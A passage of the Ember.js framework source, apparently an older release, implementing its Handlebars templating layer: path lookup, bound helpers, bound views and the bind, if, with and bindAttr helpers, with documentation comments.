value in the template's data hash. root = keywords[keyword]; isKeyword = true; // Handle cases where the entire path is the reserved // word. In that case, return the object itself. if (path === keyword) { path = ''; } else { // Strip the keyword from the path and look up // the remainder from the newly found root. path = path.substr(keyword.length+1); } } return { root: root, path: path, isKeyword: isKeyword }; }; /** Lookup both on root and on window. If the path starts with a keyword, the corresponding object will be looked up in the template's data hash and used to resolve the path. @method get @for Ember.Handlebars @param {Object} root The object to look up the property on @param {String} path The path to be lookedup @param {Object} options The template's option hash */ var handlebarsGet = Ember.Handlebars.get = function(root, path, options) { var data = options && options.data, normalizedPath = normalizePath(root, path, data), value; // In cases where the path begins with a keyword, change the // root to the value represented by that keyword, and ensure // the path is relative to it. root = normalizedPath.root; path = normalizedPath.path; value = Ember.get(root, path); // If the path starts with a capital letter, look it up on Ember.lookup, // which defaults to the `window` object in browsers. if (value === undefined && root !== Ember.lookup && Ember.isGlobalPath(path)) { value = Ember.get(Ember.lookup, path); } return value; }; Ember.Handlebars.getPath = Ember.deprecateFunc('`Ember.Handlebars.getPath` has been changed to `Ember.Handlebars.get` for consistency.', Ember.Handlebars.get); Ember.Handlebars.resolveParams = function(context, params, options) { var resolvedParams = [], types = options.types, param, type; for (var i=0, l=params.length; i<l; i++) { param = params[i]; type = types[i]; if (type === 'ID') { resolvedParams.push(handlebarsGet(context, param, options)); } else { resolvedParams.push(param); } } return resolvedParams; }; Ember.Handlebars.resolveHash = function(context, hash, options) { var resolvedHash = {}, types = options.hashTypes, type; for (var key in hash) { if (!hash.hasOwnProperty(key)) { continue; } type = types[key]; if (type === 'ID') { resolvedHash[key] = handlebarsGet(context, hash[key], options); } else { resolvedHash[key] = hash[key]; } } return resolvedHash; }; /** @private Registers a helper in Handlebars that will be called if no property with the given name can be found on the current context object, and no helper with that name is registered. This throws an exception with a more helpful error message so the user can track down where the problem is happening. @method helperMissing @for Ember.Handlebars.helpers @param {String} path @param {Hash} options */ Ember.Handlebars.registerHelper('helperMissing', function(path, options) { var error, view = ""; error = "%@ Handlebars error: Could not find property '%@' on object %@."; if (options.data){ view = options.data.view; } throw new Ember.Error(Ember.String.fmt(error, [view, path, this])); }); /** Register a bound handlebars helper. Bound helpers behave similarly to regular handlebars helpers, with the added ability to re-render when the underlying data changes. ## Simple example ```javascript Ember.Handlebars.registerBoundHelper('capitalize', function(value) { return value.toUpperCase(); }); ``` The above bound helper can be used inside of templates as follows: ```handlebars {{capitalize name}} ``` In this case, when the `name` property of the template's context changes, the rendered value of the helper will update to reflect this change. ## Example with options Like normal handlebars helpers, bound helpers have access to the options passed into the helper call. ```javascript Ember.Handlebars.registerBoundHelper('repeat', function(value, options) { var count = options.hash.count; var a = []; while(a.length < count){ a.push(value); } return a.join(''); }); ``` This helper could be used in a template as follows: ```handlebars {{repeat text count=3}} ``` ## Example with bound options Bound hash options are also supported. Example: ```handlebars {{repeat text countBinding="numRepeats"}} ``` In this example, count will be bound to the value of the `numRepeats` property on the context. If that property changes, the helper will be re-rendered. ## Example with extra dependencies The `Ember.Handlebars.registerBoundHelper` method takes a variable length third parameter which indicates extra dependencies on the passed in value. This allows the handlebars helper to update when these dependencies change. ```javascript Ember.Handlebars.registerBoundHelper('capitalizeName', function(value) { return value.get('name').toUpperCase(); }, 'name'); ``` ## Example with multiple bound properties `Ember.Handlebars.registerBoundHelper` supports binding to multiple properties, e.g.: ```javascript Ember.Handlebars.registerBoundHelper('concatenate', function() { var values = arguments[arguments.length - 1]; return values.join('||'); }); ``` Which allows for template syntax such as {{concatenate prop1 prop2}} or {{concatenate prop1 prop2 prop3}}. If any of the properties change, the helpr will re-render. Note that dependency keys cannot be using in conjunction with multi-property helpers, since it is ambiguous which property the dependent keys would belong to. ## Use with unbound helper The {{unbound}} helper can be used with bound helper invocations to render them in their unbound form, e.g. ```handlebars {{unbound capitalize name}} ``` In this example, if the name property changes, the helper will not re-render. @method registerBoundHelper @for Ember.Handlebars @param {String} name @param {Function} function @param {String} dependentKeys* */ Ember.Handlebars.registerBoundHelper = function(name, fn) { var dependentKeys = slice.call(arguments, 2); Ember.Handlebars.registerHelper(name, function() { var properties = slice.call(arguments, 0, -1), numProperties = properties.length, options = arguments[arguments.length - 1], normalizedProperties = [], data = options.data, hash = options.hash, view = data.view, currentContext = (options.contexts && options.contexts[0]) || this, normalized, pathRoot, path, loc, hashOption; // Detect bound options (e.g. countBinding="otherCount") hash.boundOptions = {}; for (hashOption in hash) { if (!hash.hasOwnProperty(hashOption)) { continue; } if (Ember.IS_BINDING.test(hashOption) && typeof hash[hashOption] === 'string') { // Lop off 'Binding' suffix. hash.boundOptions[hashOption.slice(0, -7)] = hash[hashOption]; } } // Expose property names on data.properties object. data.properties = []; for (loc = 0; loc < numProperties; ++loc) { data.properties.push(properties[loc]); normalizedProperties.push(normalizePath(currentContext, properties[loc], data)); } if (data.isUnbound) { return evaluateUnboundHelper(this, fn, normalizedProperties, options); } if (dependentKeys.length === 0) { return evaluateMultiPropertyBoundHelper(currentContext, fn, normalizedProperties, options); } normalized = normalizedProperties[0]; pathRoot = normalized.root; path = normalized.path; var bindView = new Ember._SimpleHandlebarsView( path, pathRoot, !options.hash.unescaped, options.data ); bindView.normalizedValue = function() { var value = Ember._SimpleHandlebarsView.prototype.normalizedValue.call(bindView); return fn.call(view, value, options); }; view.appendChild(bindView); view.registerObserver(pathRoot, path, bindView, rerenderBoundHelperView); for (var i=0, l=dependentKeys.length; i<l; i++) { view.registerObserver(pathRoot, path + '.' + dependentKeys[i], bindView, rerenderBoundHelperView); } }); }; /** @private Renders the unbound form of an otherwise bound helper function. @param {Function} fn @param {Object} context @param {Array} normalizedProperties @param {String} options */ function evaluateMultiPropertyBoundHelper(context, fn, normalizedProperties, options) { var numProperties = normalizedProperties.length, self = this, data = options.data, view = data.view, hash = options.hash, boundOptions = hash.boundOptions, watchedProperties, boundOption, bindView, loc, property, len; bindView = new Ember._SimpleHandlebarsView(null, null, !hash.unescaped, data); bindView.normalizedValue = function() { var args = [], value, boundOption; // Copy over bound options. for (boundOption in boundOptions) { if (!boundOptions.hasOwnProperty(boundOption)) { continue; } property = normalizePath(context, boundOptions[boundOption], data); bindView.path = property.path; bindView.pathRoot = property.root; hash[boundOption] = Ember._SimpleHandlebarsView.prototype.normalizedValue.call(bindView); } for (loc = 0; loc < numProperties; ++loc) { property = normalizedProperties[loc]; bindView.path = property.path; bindView.pathRoot = property.root; args.push(Ember._SimpleHandlebarsView.prototype.normalizedValue.call(bindView)); } args.push(options); return fn.apply(context, args); }; view.appendChild(bindView); // Assemble liast of watched properties that'll re-render this helper. watchedProperties = []; for (boundOption in boundOptions) { if (boundOptions.hasOwnProperty(boundOption)) { watchedProperties.push(normalizePath(context, boundOptions[boundOption], data)); } } watchedProperties = watchedProperties.concat(normalizedProperties); // Observe each property. for (loc = 0, len = watchedProperties.length; loc < len; ++loc) { property = watchedProperties[loc]; view.registerObserver(property.root, property.path, bindView, rerenderBoundHelperView); } } /** @private An observer function used with bound helpers which will schedule a re-render of the _SimpleHandlebarsView connected with the helper. */ function rerenderBoundHelperView() { Ember.run.scheduleOnce('render', this, 'rerender'); } /** @private Renders the unbound form of an otherwise bound helper function. @param {Function} fn @param {Object} context @param {Array} normalizedProperties @param {String} options */ function evaluateUnboundHelper(context, fn, normalizedProperties, options) { var args = [], hash = options.hash, boundOptions = hash.boundOptions, loc, len, property, boundOption; for (boundOption in boundOptions) { if (!boundOptions.hasOwnProperty(boundOption)) { continue; } hash[boundOption] = Ember.Handlebars.get(context, boundOptions[boundOption], options); } for(loc = 0, len = normalizedProperties.length; loc < len; ++loc) { property = normalizedProperties[loc]; args.push(Ember.Handlebars.get(context, property.path, options)); } args.push(options); return fn.apply(context, args); } /** @private Overrides Handlebars.template so that we can distinguish user-created, top-level templates from inner contexts. @method template @for Ember.Handlebars @param {String} template spec */ Ember.Handlebars.template = function(spec){ var t = Handlebars.template(spec); t.isTop = true; return t; }; })(); (function() { /** @method htmlSafe @for Ember.String @static */ Ember.String.htmlSafe = function(str) { return new Handlebars.SafeString(str); }; var htmlSafe = Ember.String.htmlSafe; if (Ember.EXTEND_PROTOTYPES === true || Ember.EXTEND_PROTOTYPES.String) { /** See {{#crossLink "Ember.String/htmlSafe"}}{{/crossLink}} @method htmlSafe @for String */ String.prototype.htmlSafe = function() { return htmlSafe(this); }; } })(); (function() { Ember.Handlebars.resolvePaths = function(options) { var ret = [], contexts = options.contexts, roots = options.roots, data = options.data; for (var i=0, l=contexts.length; i<l; i++) { ret.push( Ember.Handlebars.get(roots[i], contexts[i], { data: data }) ); } return ret; }; })(); (function() { /*jshint newcap:false*/ /** @module ember @submodule ember-handlebars */ var set = Ember.set, get = Ember.get; var Metamorph = requireModule('metamorph'); // DOMManager should just abstract dom manipulation between jquery and metamorph var DOMManager = { remove: function(view) { view.morph.remove(); }, prepend: function(view, html) { view.morph.prepend(html); }, after: function(view, html) { view.morph.after(html); }, html: function(view, html) { view.morph.html(html); }, // This is messed up. replace: function(view) { var morph = view.morph; view.transitionTo('preRender'); Ember.run.schedule('render', this, function() { if (view.isDestroying) { return; } view.clearRenderedChildren(); var buffer = view.renderToBuffer(); view.invokeRecursively(function(view) { view.propertyDidChange('element'); }); view.triggerRecursively('willInsertElement'); morph.replaceWith(buffer.string()); view.transitionTo('inDOM'); view.triggerRecursively('didInsertElement'); }); }, empty: function(view) { view.morph.html(""); } }; // The `morph` and `outerHTML` properties are internal only // and not observable. /** @class _Metamorph @namespace Ember @extends Ember.Mixin @private */ Ember._Metamorph = Ember.Mixin.create({ isVirtual: true, tagName: '', instrumentName: 'render.metamorph', init: function() { this._super(); this.morph = Metamorph(); }, beforeRender: function(buffer) { buffer.push(this.morph.startTag()); buffer.pushOpeningTag(); }, afterRender: function(buffer) { buffer.pushClosingTag(); buffer.push(this.morph.endTag()); }, createElement: function() { var buffer = this.renderToBuffer(); this.outerHTML = buffer.string(); this.clearBuffer(); }, domManager: DOMManager }); /** @class _MetamorphView @namespace Ember @extends Ember.View @uses Ember._Metamorph @private */ Ember._MetamorphView = Ember.View.extend(Ember._Metamorph); /** @class _SimpleMetamorphView @namespace Ember @extends Ember.View @uses Ember._Metamorph @private */ Ember._SimpleMetamorphView = Ember.CoreView.extend(Ember._Metamorph); })(); (function() { /*globals Handlebars */ /*jshint newcap:false*/ /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set, handlebarsGet = Ember.Handlebars.get; var Metamorph = requireModule('metamorph'); function SimpleHandlebarsView(path, pathRoot, isEscaped, templateData) { this.path = path; this.pathRoot = pathRoot; this.isEscaped = isEscaped; this.templateData = templateData; this.morph = Metamorph(); this.state = 'preRender'; this.updateId = null; } Ember._SimpleHandlebarsView = SimpleHandlebarsView; SimpleHandlebarsView.prototype = { isVirtual: true, isView: true, destroy: function () { if (this.updateId) { Ember.run.cancel(this.updateId); this.updateId = null; } this.morph = null; }, propertyDidChange: Ember.K, normalizedValue: function() { var path = this.path, pathRoot = this.pathRoot, result, templateData; // Use the pathRoot as the result if no path is provided. This // happens if the path is `this`, which gets normalized into // a `pathRoot` of the current Handlebars context and a path // of `''`. if (path === '') { result = pathRoot; } else { templateData = this.templateData; result = handlebarsGet(pathRoot, path, { data: templateData }); } return result; }, renderToBuffer: function(buffer) { var string = ''; string += this.morph.startTag(); string += this.render(); string += this.morph.endTag(); buffer.push(string); }, render: function() { // If not invoked via a triple-mustache ({{{foo}}}), escape // the content of the template. var escape = this.isEscaped; var result = this.normalizedValue(); if (result === null || result === undefined) { result = ""; } else if (!(result instanceof Handlebars.SafeString)) { result = String(result); } if (escape) { result = Handlebars.Utils.escapeExpression(result); } return result; }, rerender: function() { switch(this.state) { case 'preRender': case 'destroyed': break; case 'inBuffer': throw new Ember.Error("Something you did tried to replace an {{expression}} before it was inserted into the DOM."); case 'hasElement': case 'inDOM': this.updateId = Ember.run.scheduleOnce('render', this, 'update'); break; } return this; }, update: function () { this.updateId = null; this.morph.html(this.render()); }, transitionTo: function(state) { this.state = state; } }; var states = Ember.View.cloneStates(Ember.View.states), merge = Ember.merge; merge(states._default, { rerenderIfNeeded: Ember.K }); merge(states.inDOM, { rerenderIfNeeded: function(view) { if (get(view, 'normalizedValue') !== view._lastNormalizedValue) { view.rerender(); } } }); /** `Ember._HandlebarsBoundView` is a private view created by the Handlebars `{{bind}}` helpers that is used to keep track of bound properties. Every time a property is bound using a `{{mustache}}`, an anonymous subclass of `Ember._HandlebarsBoundView` is created with the appropriate sub-template and context set up. When the associated property changes, just the template for this view will re-render. @class _HandlebarsBoundView @namespace Ember @extends Ember._MetamorphView @private */ Ember._HandlebarsBoundView = Ember._MetamorphView.extend({ instrumentName: 'render.boundHandlebars', states: states, /** The function used to determine if the `displayTemplate` or `inverseTemplate` should be rendered. This should be a function that takes a value and returns a Boolean. @property shouldDisplayFunc @type Function @default null */ shouldDisplayFunc: null, /** Whether the template rendered by this view gets passed the context object of its parent template, or gets passed the value of retrieving `path` from the `pathRoot`. For example, this is true when using the `{{#if}}` helper, because the template inside the helper should look up properties relative to the same object as outside the block. This would be `false` when used with `{{#with foo}}` because the template should receive the object found by evaluating `foo`. @property preserveContext @type Boolean @default false */ preserveContext: false, /** If `preserveContext` is true, this is the object that will be used to render the template. @property previousContext @type Object */ previousContext: null, /** The template to render when `shouldDisplayFunc` evaluates to `true`. @property displayTemplate @type Function @default null */ displayTemplate: null, /** The template to render when `shouldDisplayFunc` evaluates to `false`. @property inverseTemplate @type Function @default null */ inverseTemplate: null, /** The path to look up on `pathRoot` that is passed to `shouldDisplayFunc` to determine which template to render. In addition, if `preserveContext` is `false,` the object at this path will be passed to the template when rendering. @property path @type String @default null */ path: null, /** The object from which the `path` will be looked up. Sometimes this is the same as the `previousContext`, but in cases where this view has been generated for paths that start with a keyword such as `view` or `controller`, the path root will be that resolved object. @property pathRoot @type Object */ pathRoot: null, normalizedValue: Ember.computed(function() { var path = get(this, 'path'), pathRoot = get(this, 'pathRoot'), valueNormalizer = get(this, 'valueNormalizerFunc'), result, templateData; // Use the pathRoot as the result if no path is provided. This // happens if the path is `this`, which gets normalized into // a `pathRoot` of the current Handlebars context and a path // of `''`. if (path === '') { result = pathRoot; } else { templateData = get(this, 'templateData'); result = handlebarsGet(pathRoot, path, { data: templateData }); } return valueNormalizer ? valueNormalizer(result) : result; }).property('path', 'pathRoot', 'valueNormalizerFunc').volatile(), rerenderIfNeeded: function() { this.currentState.rerenderIfNeeded(this); }, /** Determines which template to invoke, sets up the correct state based on that logic, then invokes the default `Ember.View` `render` implementation. This method will first look up the `path` key on `pathRoot`, then pass that value to the `shouldDisplayFunc` function. If that returns `true,` the `displayTemplate` function will be rendered to DOM. Otherwise, `inverseTemplate`, if specified, will be rendered. For example, if this `Ember._HandlebarsBoundView` represented the `{{#with foo}}` helper, it would look up the `foo` property of its context, and `shouldDisplayFunc` would always return true. The object found by looking up `foo` would be passed to `displayTemplate`. @method render @param {Ember.RenderBuffer} buffer */ render: function(buffer) { // If not invoked via a triple-mustache ({{{foo}}}), escape // the content of the template. var escape = get(this, 'isEscaped'); var shouldDisplay = get(this, 'shouldDisplayFunc'), preserveContext = get(this, 'preserveContext'), context = get(this, 'previousContext'); var inverseTemplate = get(this, 'inverseTemplate'), displayTemplate = get(this, 'displayTemplate'); var result = get(this, 'normalizedValue'); this._lastNormalizedValue = result; // First, test the conditional to see if we should // render the template or not. if (shouldDisplay(result)) { set(this, 'template', displayTemplate); // If we are preserving the context (for example, if this // is an #if block, call the template with the same object. if (preserveContext) { set(this, '_context', context); } else { // Otherwise, determine if this is a block bind or not. // If so, pass the specified object to the template if (displayTemplate) { set(this, '_context', result); } else { // This is not a bind block, just push the result of the // expression to the render context and return. if (result === null || result === undefined) { result = ""; } else if (!(result instanceof Handlebars.SafeString)) { result = String(result); } if (escape) { result = Handlebars.Utils.escapeExpression(result); } buffer.push(result); return; } } } else if (inverseTemplate) { set(this, 'template', inverseTemplate); if (preserveContext) { set(this, '_context', context); } else { set(this, '_context', result); } } else { set(this, 'template', function() { return ''; }); } return this._super(buffer); } }); })(); (function() { /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set, fmt = Ember.String.fmt; var handlebarsGet = Ember.Handlebars.get, normalizePath = Ember.Handlebars.normalizePath; var forEach = Ember.ArrayPolyfills.forEach; var EmberHandlebars = Ember.Handlebars, helpers = EmberHandlebars.helpers; // Binds a property into the DOM. This will create a hook in DOM that the // KVO system will look for and update if the property changes. function bind(property, options, preserveContext, shouldDisplay, valueNormalizer) { var data = options.data, fn = options.fn, inverse = options.inverse, view = data.view, currentContext = this, pathRoot, path, normalized, observer; normalized = normalizePath(currentContext, property, data); pathRoot = normalized.root; path = normalized.path; // Set up observers for observable objects if ('object' === typeof this) { if (data.insideGroup) { observer = function() { Ember.run.once(view, 'rerender'); }; var template, context, result = handlebarsGet(pathRoot, path, options); result = valueNormalizer(result); context = preserveContext ? currentContext : result; if (shouldDisplay(result)) { template = fn; } else if (inverse) { template = inverse; } template(context, { data: options.data }); } else { // Create the view that will wrap the output of this template/property // and add it to the nearest view's childViews array. // See the documentation of Ember._HandlebarsBoundView for more. var bindView = view.createChildView(Ember._HandlebarsBoundView, { preserveContext: preserveContext, shouldDisplayFunc: shouldDisplay, valueNormalizerFunc: valueNormalizer, displayTemplate: fn, inverseTemplate: inverse, path: path, pathRoot: pathRoot, previousContext: currentContext, isEscaped: !options.hash.unescaped, templateData: options.data }); view.appendChild(bindView); observer = function() { Ember.run.scheduleOnce('render', bindView, 'rerenderIfNeeded'); }; } // Observes the given property on the context and // tells the Ember._HandlebarsBoundView to re-render. If property // is an empty string, we are printing the current context // object ({{this}}) so updating it is not our responsibility. if (path !== '') { view.registerObserver(pathRoot, path, observer); } } else { // The object is not observable, so just render it out and // be done with it. data.buffer.push(handlebarsGet(pathRoot, path, options)); } } function simpleBind(property, options) { var data = options.data, view = data.view, currentContext = this, pathRoot, path, normalized, observer; normalized = normalizePath(currentContext, property, data); pathRoot = normalized.root; path = normalized.path; // Set up observers for observable objects if ('object' === typeof this) { if (data.insideGroup) { observer = function() { Ember.run.once(view, 'rerender'); }; var result = handlebarsGet(pathRoot, path, options); if (result === null || result === undefined) { result = ""; } data.buffer.push(result); } else { var bindView = new Ember._SimpleHandlebarsView( path, pathRoot, !options.hash.unescaped, options.data ); bindView._parentView = view; view.appendChild(bindView); observer = function() { Ember.run.scheduleOnce('render', bindView, 'rerender'); }; } // Observes the given property on the context and // tells the Ember._HandlebarsBoundView to re-render. If property // is an empty string, we are printing the current context // object ({{this}}) so updating it is not our responsibility. if (path !== '') { view.registerObserver(pathRoot, path, observer); } } else { // The object is not observable, so just render it out and // be done with it. data.buffer.push(handlebarsGet(pathRoot, path, options)); } } /** @private '_triageMustache' is used internally select between a binding and helper for the given context. Until this point, it would be hard to determine if the mustache is a property reference or a regular helper reference. This triage helper resolves that. This would not be typically invoked by directly. @method _triageMustache @for Ember.Handlebars.helpers @param {String} property Property/helperID to triage @param {Function} fn Context to provide for rendering @return {String} HTML string */ EmberHandlebars.registerHelper('_triageMustache', function(property, fn) { if (helpers[property]) { return helpers[property].call(this, fn); } else { return helpers.bind.apply(this, arguments); } }); /** @private `bind` can be used to display a value, then update that value if it changes. For example, if you wanted to print the `title` property of `content`: ```handlebars {{bind "content.title"}} ``` This will return the `title` property as a string, then create a new observer at the specified path. If it changes, it will update the value in DOM. Note that if you need to support IE7 and IE8 you must modify the model objects properties using `Ember.get()` and `Ember.set()` for this to work as it relies on Ember's KVO system. For all other browsers this will be handled for you automatically. @method bind @for Ember.Handlebars.helpers @param {String} property Property to bind @param {Function} fn Context to provide for rendering @return {String} HTML string */ EmberHandlebars.registerHelper('bind', function(property, options) { var context = (options.contexts && options.contexts[0]) || this; if (!options.fn) { return simpleBind.call(context, property, options); } return bind.call(context, property, options, false, function(result) { return !Ember.isNone(result); }); }); /** @private Use the `boundIf` helper to create a conditional that re-evaluates whenever the truthiness of the bound value changes. ```handlebars {{#boundIf "content.shouldDisplayTitle"}} {{content.title}} {{/boundIf}} ``` @method boundIf @for Ember.Handlebars.helpers @param {String} property Property to bind @param {Function} fn Context to provide for rendering @return {String} HTML string */ EmberHandlebars.registerHelper('boundIf', function(property, fn) { var context = (fn.contexts && fn.contexts[0]) || this; var func = function(result) { var truthy = result && get(result, 'isTruthy'); if (typeof truthy === 'boolean') { return truthy; } if (Ember.typeOf(result) === 'array') { return get(result, 'length') !== 0; } else { return !!result; } }; return bind.call(context, property, fn, true, func, func); }); /** @method with @for Ember.Handlebars.helpers @param {Function} context @param {Hash} options @return {String} HTML string */ EmberHandlebars.registerHelper('with', function(context, options) { if (arguments.length === 4) { var keywordName, path, rootPath, normalized; options = arguments[3]; keywordName = arguments[2]; path = arguments[0]; if (Ember.isGlobalPath(path)) { Ember.bind(options.data.keywords, keywordName, path); } else { normalized = normalizePath(this, path, options.data); path = normalized.path; rootPath = normalized.root; // This is a workaround for the fact that you cannot bind separate objects // together. When we implement that functionality, we should use it here. var contextKey = Ember.$.expando + Ember.guidFor(rootPath); options.data.keywords[contextKey] = rootPath; // if the path is '' ("this"), just bind directly to the current context var contextPath = path ? contextKey + '.' + path : contextKey; Ember.bind(options.data.keywords, keywordName, contextPath); } return bind.call(this, path, options, true, function(result) { return !Ember.isNone(result); }); } else { return helpers.bind.call(options.contexts[0], context, options); } }); /** See `boundIf` @method if @for Ember.Handlebars.helpers @param {Function} context @param {Hash} options @return {String} HTML string */ EmberHandlebars.registerHelper('if', function(context, options) { return helpers.boundIf.call(options.contexts[0], context, options); }); /** @method unless @for Ember.Handlebars.helpers @param {Function} context @param {Hash} options @return {String} HTML string */ EmberHandlebars.registerHelper('unless', function(context, options) { var fn = options.fn, inverse = options.inverse; options.fn = inverse; options.inverse = fn; return helpers.boundIf.call(options.contexts[0], context, options); }); /** `bindAttr` allows you to create a binding between DOM element attributes and Ember objects. For example: ```handlebars <img {{bindAttr src="imageUrl" alt="imageTitle"}}> ``` The above handlebars template will fill the `<img>`'s `src` attribute will the value of the property referenced with `"imageUrl"` and its `alt` attribute with the value of the property referenced with `"imageTitle"`. If the rendering context of this template is the following object: ```javascript { imageUrl: 'http://lolcats.info/haz-a-funny', imageTitle: 'A humorous image of a cat' } ``` The resulting HTML output will be: ```html <img src="http://lolcats.info/haz-a-funny" alt="A humorous image of a cat"> ``` `bindAttr` cannot redeclare existing DOM element attributes. The use of `src` in the following `bindAttr` example will be ignored and the hard coded value of `src="/failwhale.gif"` will take precedence: ```handlebars <img src="/failwhale.gif" {{bindAttr src="imageUrl" alt="imageTitle"}}> ``` ### `bindAttr` and the `class` attribute `bindAttr` supports a special syntax for handling a number of cases unique to the `class` DOM element attribute. The `class` attribute combines multiple discreet values into a single attribute as a space-delimited list of strings. Each string can be: * a string return value of an object's property. * a boolean return value of an object's property * a hard-coded value A string return value works identically to other uses of `bindAttr`. The return value of the property will become the value of the attribute. For example, the following view and template: ```javascript AView = Ember.View.extend({ someProperty: function(){ return "aValue"; }.property() }) ``` ```handlebars <img {{bindAttr class="view.someProperty}}> ``` Result in the following rendered output: ```html <img class="aValue"> ``` A boolean return value will insert a specified class name if the property returns `true` and remove the class name if the property returns `false`. A class name is provided via the syntax `somePropertyName:class-name-if-true`. ```javascript AView = Ember.View.extend({ someBool: true }) ``` ```handlebars <img {{bindAttr class="view.someBool:class-name-if-true"}}> ``` Result in the following rendered output: ```html <img class="class-name-if-true"> ``` An additional section of the binding can be provided if you want to replace the existing class instead of removing it when the boolean value changes: ```handlebars <img {{bindAttr class="view.someBool:class-name-if-true:class-name-if-false"}}> ``` A hard-coded value can be used by prepending `:` to the desired class name: `:class-name-to-always-apply`. ```handlebars <img {{bindAttr class=":class-name-to-always-apply"}}> ``` Results in the following rendered output: ```html <img class=":class-name-to-always-apply"> ``` All three strategies - string return value, boolean return value, and hard-coded value – can be combined in a single declaration: ```handlebars <img {{bindAttr class=":class-name-to-always-apply view.someBool:class-name-if-true view.someProperty"}}> ``` @method bindAttr @for Ember.Handlebars.helpers @param {Hash} options @return {String} HTML string */ EmberHandlebars.registerHelper('bindAttr', function(options) { var attrs = options.hash; var view = options.data.view; var ret = []; var ctx = this; // Generate a unique id for this element. This will be added as a // data attribute to the element so it can be looked up when // the bound property changes. var dataId = ++Ember.uuid; // Handle classes differently, as we can bind multiple classes var classBindings = attrs['class']; if (classBindings !== null && classBindings !== undefined) { var classResults = EmberHandlebars.bindClasses(this, classBindings, view, dataId, options); ret.push('class="' + Handlebars.Utils.escapeExpression(classResults.join(' ')) + '"'); delete attrs['class']; } var attrKeys = Ember.keys(attrs); // For each attribute passed, create an observer and emit the // current value of the property as an attribute. forEach.call(attrKeys, function(attr) { var path = attrs[attr], pathRoot, normalized; normalized = normalizePath(ctx, path, options.data); pathRoot = normalized.root; path = normalized.path; var value = (path === 'this') ? pathRoot : handlebarsGet(pathRoot, path, options), type = Ember.typeOf(value); var observer, invoker; observer = function observer() { var result = handlebarsGet(pathRoot, path, options); var elem = view.$("[data-bindattr-" + dataId + "='" + dataId + "']"); // If we aren't able to find the element, it means the element // to which we were bound has been removed from the view. // In that case, we can assume the template has been re-rendered // and we need to clean up the observer. if (!elem || elem.length === 0) { Ember.removeObserver(pathRoot, path, invoker); return; } Ember.View.applyAttributeBindings(elem, attr, result); }; invoker = function() { Ember.run.scheduleOnce('render', observer); }; // Add an observer to the view for when the property changes. // When the observer fires, find the element using the // unique data id and update the attribute to the new value. if (path !== 'this') { view.registerObserver(pathRoot, path, invoker); } // if this changes, also change the logic in ember-views/lib/views/view.js if ((type === 'string' || (type === 'number' && !isNaN(value)))) { ret.push(attr + '="' + Handlebars.Utils.escapeExpression(value) + '"'); } else if (value && type === 'boolean') { // The developer controls the attr name, so it should always be safe ret.push(attr + '="' + attr + '"'); } }, this); // Add the unique identifier // NOTE: We use all lower-case since Firefox has problems with mixed case in SVG ret.push('data-bindattr-' + dataId + '="' + dataId + '"'); return new EmberHandlebars.SafeString(ret.join(' ')); }); /** @private Helper that, given a space-separated string of property paths and a context, returns an array of class names. Calling this method also has the side effect of setting up observers at those property paths, such that if they change, the correct class name will be reapplied to the DOM element. For example, if you pass the string "fooBar", it will first look up the "fooBar" value of the context. If that value is true, it will add the "foo-bar" class to the current element (i.e., the dasherized form of "fooBar"). If the value is a string, it will add that string as the class. Otherwise, it will not add any new class name. @method bindClasses @for Ember.Handlebars @param {Ember.Object} context The context from which to lookup properties @param {String} classBindings A string, space-separated, of class bindings to use @param {Ember.View} view The view in which observers should look for the element to update @param {Srting} bindAttrId Optional bindAttr id used to lookup elements @return {Array} An array of class names to add */ EmberHandlebars.bindClasses = function(context, classBindings, view, bindAttrId, options) { var ret = [], newClass, value, elem; // Helper method to retrieve the property from the context and // determine which class string to return, based on whether it is // a Boolean or not. var classStringForPath = function(root, parsedPath, options) { var val, path = parsedPath.path; if (path === 'this') { val = root; } else if (path === '') { val = true; } else { val = handlebarsGet(root, path, options); } return Ember.View._classStringForValue(path, val, parsedPath.className, parsedPath.falsyClassName); }; // For each property passed, loop through and setup // an observer. forEach.call(classBindings.split(' '), function(binding) { // Variable in which the old class value is saved. The observer function // closes over this variable, so it knows which string to remove when // the property changes. var oldClass; var observer, invoker; var parsedPath = Ember.View._parsePropertyPath(binding), path = parsedPath.path, pathRoot = context, normalized; if (path !== '' && path !== 'this') { normalized = normalizePath(context, path, options.data); pathRoot = normalized.root; path = normalized.path; } // Set up an observer on the context. If the property changes, toggle the // class name. observer = function() { // Get the current value of the property newClass = classStringForPath(pathRoot, parsedPath, options); elem = bindAttrId ? view.$("[data-bindattr-" + bindAttrId + "='" + bindAttrId + "']") : view.$(); // If we can't find the element anymore, a parent template has been // re-rendered and we've been nuked. Remove the observer. if (!elem || elem.length === 0) { Ember.removeObserver(pathRoot, path, invoker); } else { // If we had previously added a class to the element, remove it. if (oldClass) { elem.removeClass(oldClass); } // If necessary, add a new class. Make sure we keep track of it so // it can be removed in the future. if (newClass) { elem.addClass(newClass); oldClass = newClass; } else { oldClass = null; } } }; invoker = function() { Ember.run.scheduleOnce('render', observer); }; if (path !== '' && path !== 'this') { view.registerObserver(pathRoot, path, invoker); } // We've already setup the observer; now we just need to figure out the // correct behavior right now on the first pass through. value = classStringForPath(pathRoot, parsedPath, options); if (value) { ret.push(value); // Make sure we save the current value so that it can be removed if the // observer fires. oldClass = value; } }); return ret; }; })(); (function() { /*globals Handlebars */ // TODO: Don't require the entire module /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set; var PARENT_VIEW_PATH = /^parentView\./; var EmberHandlebars = Ember.Handlebars; EmberHandlebars.ViewHelper = Ember.Object.create({ propertiesFromHTMLOptions: function(options, thisContext) { var hash = options.hash, data = options.data; var extensions = {}, classes = hash['class'], dup = false; if (hash.id) { extensions.elementId = hash.id; dup = true; } if (classes) { classes = classes.split(' '); extensions.classNames = classes; dup = true; } if (hash.classBinding) { extensions.classNameBindings = hash.classBinding.split(' '); dup = true; } if (hash.classNameBindings) { if (extensions.classNameBindings === undefined) extensions.classNameBindings = []; extensions.classNameBindings = extensions.classNameBindings.concat(hash.classNameBindings.split(' ')); dup = true; } if (hash.attributeBindings) { extensions.attributeBindings = null; dup = true; } if (dup) { hash = Ember.$.extend({}, hash); delete hash.id; delete hash['class']; delete hash.classBinding; } // Set the proper context for all bindings passed to the helper. This applies to regular attribute bindings // as well as class name bindings. If the bindings are local, make them relative to the current context // instead of the view. var path; // Evaluate the context of regular attribute bindings: for (var prop in hash) { if (!hash.hasOwnProperty(prop)) { continue; } // Test if the property ends in "Binding" if (Ember.IS_BINDING.test(prop) && typeof hash[prop] === 'string') { path = 